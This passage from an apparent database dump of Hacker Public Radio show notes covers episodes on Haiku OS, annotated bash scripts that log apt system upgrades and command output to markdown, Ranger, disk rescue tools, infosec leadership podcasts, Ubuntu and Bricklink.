Pages</strong>:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Rust_(programming_language)\">Rust Programming Language Wikipedia article</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Resource_acquisition_is_initialization\">Resource Acquisition Is Initialization (RAII)</a></li>\r\n</ul></li>\r\n</ul>\r\n<hr />\r\n<h4 id=\"Contact-Me\">Contact Me</h4>\r\n<p><span id=\"Email:\"></span><strong>Email:</strong> <a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></p>\r\n<p><span id=\"Mastodon:\"></span><strong>Mastodon:</strong> <a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></p>',396,25,0,'CC-BY-SA','rust, programming, raii, python, c',0,0,1),
(3418,'2021-09-08','My gEeeky Experiment - Part 2',648,'Claudio talks about how he installed Haiku on an Asus Eee PC 900a received from a friend.','<ul>\r\n<li>Eee PC 900a: <a href=\"https://www.notebookcheck.net/Asus-Eee-PC-900A.11751.0.html\" class=\"uri\">https://www.notebookcheck.net/Asus-Eee-PC-900A.11751.0.html</a></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li>Haiku (Wikipedia): <a href=\"https://en.wikipedia.org/wiki/Haiku_(operating_system)\" class=\"uri\">https://en.wikipedia.org/wiki/Haiku_(operating_system)</a></li>\r\n<li>Haiku website: <a href=\"https://www.haiku-os.org\" class=\"uri\">https://www.haiku-os.org</a></li>\r\n<li>Media Release - Haiku R1 Beta 3: <a href=\"https://www.haiku-os.org/news/2021-07-26_media_release_the_haiku_project_celebrates_the_release_of_beta_3\" class=\"uri\">https://www.haiku-os.org/news/2021-07-26_media_release_the_haiku_project_celebrates_the_release_of_beta_3</a></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li>Be Operating System (BeOS): <a href=\"https://en.wikipedia.org/wiki/BeOS\" class=\"uri\">https://en.wikipedia.org/wiki/BeOS</a></li>\r\n<li>Be, Inc.: <a href=\"https://en.wikipedia.org/wiki/Be_Inc\" class=\"uri\">https://en.wikipedia.org/wiki/Be_Inc</a>.</li>\r\n<li>BeBox: <a href=\"https://en.wikipedia.org/wiki/BeBox\" class=\"uri\">https://en.wikipedia.org/wiki/BeBox</a></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li>Motorola StarMax series of Power Macintosh clones: <a href=\"https://en.wikipedia.org/wiki/Motorola_StarMax\" class=\"uri\">https://en.wikipedia.org/wiki/Motorola_StarMax</a></li>\r\n<li>Video of my StarMax 4000/160: <a href=\"https://www.youtube.com/watch?v=zi5DwqqZfUQ\" class=\"uri\">https://www.youtube.com/watch?v=zi5DwqqZfUQ</a></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li><p>Blog post: <a href=\"https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2</a></p></li>\r\n<li><p>HP EliteBook 2170p: <a href=\"https://support.hp.com/ro-en/document/c03406489\" class=\"uri\">https://support.hp.com/ro-en/document/c03406489</a></p></li>\r\n</ul>\r\n',152,0,0,'CC-BY-SA','asus,eeepc,haiku,beos,starmax,bebox,motorola,be',0,0,1),
(3423,'2021-09-15','\"upg.sh\" my \"dump.txt\" to \"note.md\"',2278,'I upgraded my scripts.','<h1 id=\"upgsh-my-dumptxt-to-notemd\">upg.sh my dump.txt to note.md</h1>\r\n<p><strong>SYNOPSIS:</strong> <em>upg.sh</em></p>\r\n<ul>\r\n<li>Upgrade your system and store stdout into a markdown file.</li>\r\n</ul>\r\n<pre><code>#!/bin/bash\r\n# upg.sh\r\n\r\nFILENAME=sys-upgrade$(date +%m-%d-%Y).md\r\nDIRECTORY=&quot;${HOME}/Documents/&quot;\r\n\r\n# step 1: formatting.\r\necho -e &quot;# **System Upgrade:** $(date)\\n&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;**Command:** \\`sudo apt-get update; sudo apt-get upgrade --yes\\`\\n&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;**Command Breakdown:**&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;- \\`sudo\\`, Admin Privilages.&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;- \\`apt-get\\`, Package Manager.&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;- \\`update;\\`, Package Manager&#39;s task; update the system software repositories.&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;- \\`sudo apt-get upgrade\\`, Perform system upgrade with updated repositories.&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;- \\`--yes\\`, Answers yes to the prompt.&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\n# step 2: run commands with formatting.\r\necho -e &quot;\\n**Command std-output:**\\n&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n echo $(date) \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nsudo apt-get update \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\n# System update completed.\\n&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nsudo apt-get upgrade --yes \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\n# System upgrade completed.\\n&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`\\n&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\n# step 3: additional details with more formatting.\r\necho -e &quot;**Upgraded Package Details:**\\n&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nPKGLIST=$(sed -n &quot;/The following packages will be upgraded:/,/^.. upgraded/p&quot; ${FILENAME} \\\r\n | sed &#39;1d;$d&#39; | xargs -n 1 | sed &#39;/:i386$/d&#39;) \\\r\n\r\nPKGCACHE=$(echo -e &quot;${PKGLIST}\\n&quot; \\\r\n | xargs -n1 -I _ apt-cache search _)\r\necho &quot;${PKGCACHE}&quot; &gt; ${DIRECTORY}delete.txt\r\n\r\necho &quot;${PKGLIST}&quot; \\\r\n | xargs -n 1 -I _ echo &quot;sed -n &#39;/^_ /p&#39;&quot; &quot;${DIRECTORY}delete.txt&quot; \\\r\n | bash | tee -a ${DIRECTORY}${FILENAME};\r\n\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nrm -v ${DIRECTORY}delete.txt;\r\nPKGLIST=\r\nPKGCACHE=\r\n\r\n# step 4: place EOF (end of file).\r\n sed -i &#39;/EOF/d&#39; ${DIRECTORY}${FILENAME}\r\necho &quot;EOF&quot; &gt;&gt; ${DIRECTORY}${FILENAME}\r\n#EOF\r\n</code></pre>\r\n<p><strong>Script breakdown:</strong> <em>upg.sh</em></p>\r\n<ul>\r\n<li><p>First, we declare bash as our shell with <code>#!/bin/bash</code>. We could also use <code>#!/bin/sh</code> for a more portable script.</p></li>\r\n<li><p>I like to paste the name of the script we\'re working on into the script itself <code># upg.sh</code>.</p></li>\r\n<li><p>Setup a couple of variables to shorten the syntax.</p></li>\r\n</ul>\r\n<pre><code>FILENAME=sys-upgrade$(date +%m-%d-%Y).md\r\nDIRECTORY=&quot;${HOME}/Documents/&quot;\r\n</code></pre>\r\n<ul>\r\n<li><code># step 1: formatting.</code>\r\n<ul>\r\n<li>Build labels and a short breakdown of the update/upgrade commands used.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>echo -e &quot;# **System Upgrade:** $(date)\\n&quot; \\ &lt;-- formatting: label with date.\r\n | tee -a ${DIRECTORY}${FILENAME} &lt;-- path/to/file\r\necho -e &quot;**Command:** \\`sudo apt-get update; sudo apt-get upgrade --yes\\`\\n&quot; \\ &lt;-- formatting: command label.\r\n | tee -a ${DIRECTORY}${FILENAME} &lt;-- path/to/file\r\necho -e &quot;**Command Breakdown:**&quot; \\ &lt;-- formatting: label.\r\n | tee -a ${DIRECTORY}${FILENAME} &lt;-- path/to/file\r\necho -e &quot;- \\`sudo\\`, Admin Privilages.&quot; \\ &lt;-- formatting: label.\r\n | tee -a ${DIRECTORY}${FILENAME} &lt;-- path/to/file\r\necho -e &quot;- \\`apt-get\\`, Package Manager.&quot; \\ &lt;-- formatting: label.\r\n | tee -a ${DIRECTORY}${FILENAME} &lt;-- path/to/file\r\necho -e &quot;- \\`update;\\`, Package Manager&#39;s task; update the system software repositories.&quot; \\ &lt;-- formatting: label.\r\n | tee -a ${DIRECTORY}${FILENAME} &lt;-- path/to/file\r\necho -e &quot;- \\`sudo apt-get upgrade\\`, Perform system upgrade with updated repositories.&quot; \\ &lt;-- formatting: label.\r\n | tee -a ${DIRECTORY}${FILENAME} &lt;-- path/to/file\r\necho -e &quot;- \\`--yes\\`, Answers yes to the prompt.&quot; \\ &lt;-- formatting: label.\r\n | tee -a ${DIRECTORY}${FILENAME} &lt;-- path/to/file\r\n</code></pre>\r\n<ul>\r\n<li><code># step 2: run commands with formatting.</code>,\r\n<ul>\r\n<li>Setup labels and an area for the stdout to be store with markdown formatting.</li>\r\n<li>We place the time and date into the stdout area then run the commands.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>echo -e &quot;\\n**Command std-output:**\\n&quot; \\ &lt;-- formatting: label.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`&quot; \\ &lt;-- formatting: markdown.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n echo $(date) \\ &lt;-- command: date.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nsudo apt-get update \\ &lt;-- command: update.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\n# System update completed.\\n&quot; \\ &lt;-- formatting: label.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nsudo apt-get upgrade --yes \\ &lt;-- command: upgrade with &quot;--yes&quot; option.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\n# System upgrade completed.\\n&quot; \\ &lt;-- formatting: label.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`\\n&quot; \\ &lt;-- formatting: markdown.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n</code></pre>\r\n<ul>\r\n<li><code># step 3: additional details with more formatting.</code>,\r\n<ul>\r\n<li>List the packages that were upgraded with details from system cache.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>echo -e &quot;**Upgraded Package Details:**\\n&quot; \\ &lt;-- formatting: label.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`&quot; \\ &lt;-- formatting: markdown.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nPKGLIST=$(sed -n &quot;/The following packages will be upgraded:/,/^.. upgraded/p&quot; ${DIRECTORY}${FILENAME} \\ &lt;--| variable with list of packages within it.\r\n | sed &#39;1d;$d&#39; | xargs -n 1 | sed &#39;/:i386$/d&#39;) \\ &lt;--| sed: filter the first and last lines then remove the :i386 duplicate packages.\r\n\r\nPKGCACHE=$(echo -e &quot;${PKGLIST}\\n&quot; \\ &lt;--| variable with massive apt-cache search results.\r\n | xargs -n1 -I _ apt-cache search _) &lt;--| xargs runs the PKGLIST (the _ is the value of PKGLIST) into the apt-cache search.\r\necho &quot;${PKGCACHE}&quot; &gt; ${DIRECTORY}delete.txt &lt;--| I had to put the PKGCACHE in a file. I couldn&#39;t get sed to filter a variable (yet).\r\n\r\necho &quot;${PKGLIST}&quot; \\ &lt;--| use that PKGLIST to create a few sed commands to filter the file called &quot;delete.txt&quot;.\r\n | xargs -n 1 -I _ echo &quot;sed -n &#39;/^_ /p&#39;&quot; &quot;${DIRECTORY}delete.txt&quot; \\ ^--| xargs is used to create the sed commands.\r\n | bash | tee -a ${DIRECTORY}${FILENAME}; &lt;--| run the sed commands through bash then store them.\r\n\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nrm -v ${DIRECTORY}delete.txt; &lt;--| use rm to delete the file called &quot;delete.txt&quot; it has the apt-cache search results in it.\r\nPKGLIST= &lt;--| empty the variable. why? why not!\r\nPKGCACHE= &lt;--| empty the variable. why? why not!\r\n</code></pre>\r\n<ul>\r\n<li><code># step 4: place EOF (end of file).</code>,\r\n<ul>\r\n<li>Add EOF (END OF FILE) to the end of the file. If one is already there, -</li>\r\n<li>it\'s removed then replaced in the correct position.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code> sed -i &#39;/EOF/d&#39; ${DIRECTORY}${FILENAME} &lt;--| search for EOF then remove it. we don&#39;t want multiple EOF if we run the script multiple times in the same day.\r\necho &quot;EOF&quot; &gt;&gt; ${DIRECTORY}${FILENAME} ^--| adds the EOF (End Of File) at the end of the file. I read it was a nice thing to do.\r\n#EOF &lt;--| Yep. it&#39;s there.\r\n\r\n</code></pre>\r\n<hr />\r\n<p><strong>SYNOPSIS:</strong> <em>note.sh</em> \"command\" \"filename\"</p>\r\n<ul>\r\n<li>example: note.sh \"ls -lhA\" \"basic-list\"</li>\r\n<li>make markdown notes of your commands.</li>\r\n</ul>\r\n<pre><code>#!/bin/bash\r\n# note.sh &quot;command&quot; &quot;filename&quot; no extentions.\r\n\r\n# variables\r\nFILENAME=$2$(date +%m-%d-%Y).md\r\nDIRECTORY=&quot;${HOME}/Documents/&quot;\r\n\r\n# step 1: create file with formatting.\r\necho -e &quot;# **Command:** \\` $1 \\`\\n&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;**Command Breakdown:**&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho &quot;$1&quot; | tr &quot; &quot; &#39;\\n&#39; \\\r\n | awk &#39;{ print &quot;- `&quot; $0 &quot;`, info.&quot; }&#39; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\n# step 2: run command with more formatting.\r\necho -e &quot;\\n**Command std-output:**&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`\\n$(date)&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho $1 | bash \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho -ne &quot;\\n${FILENAME} has been updated $(date).&quot;\r\n\r\n# step 3: insert EOF (End Of File).\r\nsed -i &#39;/EOF/d&#39; ${DIRECTORY}${FILENAME}\r\necho EOF &gt;&gt; ${DIRECTORY}${FILENAME}\r\n</code></pre>\r\n<p><strong>Script breakdown:</strong> <em>upg.sh</em></p>\r\n<ul>\r\n<li><p>First, we declare bash as our shell with <code>#!/bin/bash</code>. We could also use <code>#!/bin/sh</code> for a more portable script.</p></li>\r\n<li><p>I like to paste the name of the script we\'re working on into the script itself <code># upg.sh</code>.</p></li>\r\n<li><p>Setup a couple of variables to shorten the syntax.</p></li>\r\n</ul>\r\n<pre><code>FILENAME=$2$(date +%m-%d-%Y).md &lt;--| the &quot;$2&quot; is the second user input (file name) from the commandline.\r\nDIRECTORY=&quot;${HOME}/Documents/&quot;\r\n</code></pre>\r\n<ul>\r\n<li><code># step 1: create file with formatting.</code>\r\n<ul>\r\n<li>Build labels for Command Name with a short breakdown of the command(s) used.</li>\r\n<li><strong>Note:</strong> the breakdown must be entered manually.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>echo -e &quot;# **Command:** \\` $1 \\`\\n&quot; \\ &lt;--| the &quot;$1&quot; is the first user input (the command) from the commandline.\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;**Command Breakdown:**&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho &quot;$1&quot; | tr &quot; &quot; &#39;\\n&#39; \\ &lt;--| This just breaks the command into parts then adds some markdown formatting for use to add -\r\n | awk &#39;{ print &quot;- `&quot; $0 &quot;`, info.&quot; }&#39; \\ ^--| details to later. I just added the word info so you know to provide info about the command. -\r\n | tee -a ${DIRECTORY}${FILENAME} ^--| the formatting gets a bit crazy if you use something like: awk {&#39; print $1 $2 $3 &#39;} path/to/file; each space becomes a newline with the markdown formatting.\r\n</code></pre>\r\n<ul>\r\n<li><code># step 2: run command with more formatting.</code>\r\n<ul>\r\n<li>Echo the Command into <em>bash</em> with markdown formatting for stdout.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>echo -e &quot;\\n**Command std-output:**&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`\\n$(date)&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho $1 | bash \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho -ne &quot;\\n${FILENAME} has been updated $(date).&quot;\r\n</code></pre>\r\n<ul>\r\n<li><code># step 3: insert EOF (End Of File).</code>\r\n<ul>\r\n<li>Add EOF (END OF FILE) to the end of the file. If one is already there, -</li>\r\n<li>it\'s removed then replaced in the correct position.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>sed -i &#39;/EOF/d&#39; ${DIRECTORY}${FILENAME}\r\necho EOF &gt;&gt; ${DIRECTORY}${FILENAME}\r\n</code></pre>\r\n<hr />\r\n<p><strong>Correspondent:</strong> <a href=\"https://hackerpublicradio.org/correspondents/0391.html\">Some Guy On The Internet.</a><br />\r\n<strong>Host ID:</strong> 391<br />\r\n<strong>E-mail:</strong> <a href=\"/tmp/.mount_Joplin1UDfeV/resources/app.asar/Lyunpaw@gmail.com\" title=\"Lyunpaw@gmail.com\">Lyunpaw.nospam@nospam.gmail.com</a></p>\r\n<ul>\r\n<li>use <strong>\"hpr391\"</strong> as the subject line for all emails to avoid the junk filter.</li>\r\n<li><a href=\"https://drive.google.com/file/d/1vaGWVv48IcPNXXBknDer8ZBsUvix6qp4/view?usp=sharing\">show notes markdown file</a> <a href=\"https://creativecommons.org/licenses/by-sa/4.0/\"><img src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" alt=\"Creative Commons License\" /></a> This work is licensed under a <a href=\"https://creativecommons.org/licenses/by-sa/4.0/\">Creative Commons Attribution-ShareAlike 4.0 International License</a>.</li>\r\n</ul>\r\n',391,0,0,'CC-BY-SA','Bash Scripting, sed, awk, xargs, markdown, notes',0,0,1),
(3427,'2021-09-21','Ranger for the Win!',1096,'In this episode, I go over some typical use cases for the Ranger file manager','<h2 id=\"programs-referenced-in-this-episode\">Programs referenced in this episode</h2>\r\n<ul>\r\n<li>ranger</li>\r\n<li>caca-utils</li>\r\n<li>poppler-utils</li>\r\n<li>atool</li>\r\n<li>highlight</li>\r\n<li>trash-cli</li>\r\n<li>xlsx2csv</li>\r\n<li>docs2txt</li>\r\n<li>catdoc (for doc2txt and xls2csv)</li>\r\n<li>ods2tsv</li>\r\n</ul>\r\n',300,0,0,'CC-BY-SA','ranger,file manager,linux',0,0,1),
(3428,'2021-09-22','Bad disk rescue',1794,'Bad disk rescue - tragedy or happy ending?','<p>Here I tell the tale of a bad disk rescue. Is the rescue bad or just the disk? Well the disk is most certainly bad but please listen and tell me if the rescue was good or bad or could have been done better.</p>\r\n<p>Guest stars in this show include:</p>\r\n<ul>\r\n<li>dd</li>\r\n<li>ddrescue</li>\r\n<li>losetup</li>\r\n<li>mount</li>\r\n<li>badblocks</li>\r\n<li>smartctl</li>\r\n<li>The <a href=\"https://www.system-rescue.org\">System rescue distro</a></li>\r\n</ul>',268,0,0,'CC-BY-SA','linux,disk,windows,virtualbox',0,0,1),
(3422,'2021-09-14','Update about Phones and Devices',1341,'An Update about my New Phone and second one that is coming','<p>Small update about my new RedMi 10s and my new Monty Mint phone.</p>\r\n<ul>\r\n<li><a href=\"https://www.gsmarena.com/xiaomi_redmi_note_10s-10769.php\">https://www.gsmarena.com/xiaomi_redmi_note_10s-10769.php</a></li>\r\n<li><a href=\"https://ogadget.com/x/mony\">https://ogadget.com/x/mony</a></li>\r\n</ul>',129,0,0,'CC-BY-SA','Android, phone, Linux, Pine64, Smart Watch',0,0,1),
(3424,'2021-09-16','Infosec Podcasts Part 6 - Infosec Leadership',721,'Presenting my favorite information security leadership podcasts','<p>Inoffensive in every region of the world.</p>\r\n<p>Thank you to everyone who has listened to my previous episodes. This is the final episode in the Infosec Podcasts series.</p>\r\n<p>I listen to many, MANY podcasts. The vast majority of these are related to information security.</p>\r\n<p>Because there are so many podcasts to list, I have broken them down into 6 different episodes based on topics:</p>\r\n<ul>\r\n<li>Part 1 - News & Current Events - Episode 3324</li>\r\n<li>Part 2 - General Information Security - Episode 3334</li>\r\n<li>Part 3 - Career & Personal Development - Episode 3344</li>\r\n<li>Part 4 - Social Engineering - Episode 3368</li>\r\n<li>Part 5 - Episode 3387\r\n<ul>\r\n<li>Hacks & Attacks</li>\r\n<li>Technical Information & Learning</li>\r\n<li>Infosec Community / Social / History</li>\r\n<li>Part 6 - Infosec Leadership</li>\r\n</ul></li>\r\n</ul>\r\n<p><strong>Preamble</strong></p>\r\n<p>Term: CISO</p>\r\n<ul>\r\n<li>Pronounced SEE-so or SAI-so</li>\r\n<li>Chief Information Security Officer</li>\r\n<li>Sounds like executive leadership position, similar to Chief Executive Officer (CEO), Chief Financial Officer (CFO), etc but this is often not the case</li>\r\n</ul>\r\n<p>Security leadership is changing</p>\r\n<p>Old way:</p>\r\n<ul>\r\n<li>Experienced technologists (Usually old white guys) worked way up ranks</li>\r\n<li>Usually reported through IT (CIO/CTO)</li>\r\n<li>Department of \"No\" - Block everything bad</li>\r\n<li>Slows down business</li>\r\n</ul>\r\n<p>New way:</p>\r\n<ul>\r\n<li>Experienced business professionals with leadership skills and security understanding</li>\r\n<li>Can report through:\r\n<ul>\r\n<li>IT (CIO/CTO)</li>\r\n<li>Legal (For compliance reasons)</li>\r\n<li>Finance (CFO) for governance or compliance reasons</li>\r\n<li>Financial impacts of attacks</li>\r\n<li>Direct costs</li>\r\n<li>Fines</li>\r\n<li>CEO - Seat at the table with other C-level execs</li>\r\n<li>Direct to board</li>\r\n</ul></li>\r\n<li>Empowers the business to succeed in a secure way</li>\r\n<li>Can still slow down the business, but only when needed\r\n<ul>\r\n<li>Brakes on a race car</li>\r\n</ul></li>\r\n</ul>\r\n<p><strong>Infosec Leadership Podcasts</strong></p>\r\n<ul>\r\n<li>CISO Tradecraft - G Mark Hardy (Weekly)\r\n<ul>\r\n<li>Discussion of topics related to becoming a CISO or maturing as a CISO</li>\r\n<li><a href=\"https://www.cisotradecraft.com/\" class=\"uri\">https://www.cisotradecraft.com/</a></li>\r\n</ul></li>\r\n<li>CISO Vendor Relationship Podcast - David Spark & Guests (Weekly)\r\n<ul>\r\n<li>Weekly podcast addressing the challenges experienced by both security professionals and the vendors with whom they interact.</li>\r\n<li><a href=\"https://cisoseries.com/subscribe-podcast/\" class=\"uri\">https://cisoseries.com/subscribe-podcast/</a></li>\r\n</ul></li>\r\n<li>CISO Talks (Weekly)\r\n<ul>\r\n<li>The talk show series with discussions of current trends in the world of information security with CISOs on the front line.</li>\r\n<li><a href=\"https://www.lepide.com/ciso-talks.html\" class=\"uri\">https://www.lepide.com/ciso-talks.html</a></li>\r\n</ul></li>\r\n<li>CISO Talk - James Azar (Weekly)\r\n<ul>\r\n<li>Presents the CISO view on cybersecurity, talent development, technology, leadership and much more.</li>\r\n<li><a href=\"https://cisotalk.podbean.com/\" class=\"uri\">https://cisotalk.podbean.com/</a></li>\r\n</ul></li>\r\n<li>The Cyber Ranch Podcast - Allan Alford & Hacker Valley Studios (Weekly)\r\n<ul>\r\n<li>Interviews with security leaders discussing relevant topics</li>\r\n<li><a href=\"https://hackervalley.com/cyberranch/\" class=\"uri\">https://hackervalley.com/cyberranch/</a></li>\r\n</ul></li>\r\n<li>CISO\'s Secrets - Currently hosted by Grant Asplund and sponsored by Checkpoint\r\n<ul>\r\n<li>Interviews with security leaders across a wide range of industries</li>\r\n<li>Addresses real issues facing security professionals and businesses</li>\r\n<li><a href=\"https://cp.buzzsprout.com/\" class=\"uri\">https://cp.buzzsprout.com/</a></li>\r\n</ul></li>\r\n<li>CISO Stories - Hosted by Todd Fitzgerald and Sam Curry and part of the Security Weekly family of podcasts\r\n<ul>\r\n<li>Based originally on interviews with security leaders who contributed to the book \"CISO COMPASS: Navigating Cybersecurity Leadership Challenges with Insights from Pioneers\"</li>\r\n<li>Episodes are usually only about 20 minutes</li>\r\n<li><a href=\"https://securityweekly.com/category-shows/\">https://securityweekly.com/category-shows/the-ciso-stories-podcast/</a></li>\r\n</ul></li>\r\n<li>The New CISO - Hosted by Exabeam\'s Chief Security Strategist, Steve Moore and Sponsored by Exabeam\r\n<ul>\r\n<li>Interviews with industry leading and visionary security leaders</li>\r\n<li>How do lead security teams and business</li>\r\n<li>Interacting with business leaders</li>\r\n<li><a href=\"https://www.exabeam.com/fr/library-by-type/ciso-podcasts/\" class=\"uri\">https://www.exabeam.com/fr/library-by-type/ciso-podcasts/</a></li>\r\n</ul></li>\r\n</ul>\r\n<p>That wraps up this series. I welcome any feedback you might have in the comments section for this episode on the HPR site.</p>\r\n<p>Thank you very much for listening.</p>\r\n',394,75,0,'CC-BY-SA','infosec, podcasts, security, leadership',0,0,1),
(3429,'2021-09-23','Linux Inlaws S01E39: Ubuntu and the Community',5207,'All about your favourite Debian spin and IBM mainframes','<p>\r\n In this episode, our two hosts host Rhys Davies, a developer advocate from Canonical. So all\r\n beans will be spilled on one of the most popular Linux distros out there. Like its past, present\r\n and future. Never mind how Canonical makes its moolah and where this goes... Plus an interesting\r\n infomercial on old big iron (IBM, if you\'re listening: the mail address is sponsor@linuxinlaws.eu).\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Canonical: <a href=\"https://canonical.com\" target=_blank>https://canonical.com</a></li>\r\n<li>Ubuntu: <a href=\"https://ubuntu.com\" target=_blank>https://ubuntu.com</a></li>\r\n<li>Manjaro: <a href=\"https://manjaro.org\" target=_blank>https://manjaro.org</a></li>\r\n<li>WSL: <a href=\"https://wiki.ubuntu.com/WSL\" target=_blank>https://wiki.ubuntu.com/WSL</a></li>\r\n<li>Snapcraft: <a href=\"https://snapcraft.io\" target=_blank>https://snapcraft.io</a></li>\r\n<li>Ubuntu community reboot: <a href=\"https://ubuntu.com/blog/reintroducing-the-community-team\" target=_blank>https://ubuntu.com/blog/reintroducing-the-community-team</a></li>\r\n<li>Chromium as a snap: <a href=\"https://snapcraft.io/blog/chromium-in-ubuntu-deb-to-snap-transition\" target=_blank>https://snapcraft.io/blog/chromium-in-ubuntu-deb-to-snap-transition</a></li>\r\n<li>Ubuntu podcast episode on this issue: <a href=\"https://ubuntupodcast.org/2020/06/04/s13e11-inside-out-clothes\" target=_blank>https://ubuntupodcast.org/2020/06/04/s13e11-inside-out-clothes</a></li>\r\n<li>Canonical\'s transition from upstart to systemd: <a href=\"https://lists.ubuntu.com/archives/ubuntu-devel/2016-July/039465.html\" target=_blank>https://lists.ubuntu.com/archives/ubuntu-devel/2016-July/039465.html</a></li>\r\n<li>LinuxONE and Ubuntu: <a href=\"https://ubuntu.com/blog/tag/linuxone\" target=_blank>https://ubuntu.com/blog/tag/linuxone</a></li>\r\n<li>Rhys\' presentation at the Linux App Summit: <a href=\"https://conf.linuxappsummit.org/event/3/contributions/65\" target=_blank>https://conf.linuxappsummit.org/event/3/contributions/65</a></li>\r\n<li>Critical Role: <a href=\"https://critrole.com\" target=_blank>https://critrole.com</a></li>\r\n<li>Hazy Jane: <a href=\"https://www.brewdog.com/eu_de/hazy-jane-440-eu\" target=_blank>https://www.brewdog.com/eu_de/hazy-jane-440-eu</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Debian, Ubuntu, IBM, mainframes, snaps, Canonical',0,0,1),
(3451,'2021-10-25','Bricklink',837,'Custom 3rd Part Lego Shops','<ul>\r\n<li>beware shipping prices</li>\r\n<li>always use Instant Checkout</li>\r\n<li>be sure to check USA</li>\r\n<li>2-3x the cost of lego.com set</li>\r\n<li>paying 3-5 people via paypal ....</li>\r\n<li>no way to easy share wanted list ...</li>\r\n<li>LOST :( https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.xml</li>\r\n<li>7 missing out of 216 on one shipment</li>\r\n</ul>\r\n<!-- Photo: -->\r\n<!-- https://drive.google.com/file/d/16r1dyJZzqbLRfx0iKB2orj0MdNC_8yXl/view?usp=sharing -->\r\n<p><em>Photo</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3451/20210829_212454.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3451/20210829_212454_thumbnail.jpg\" alt=\"Photo\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>',36,0,0,'CC-BY-SA','lego',0,0,1),
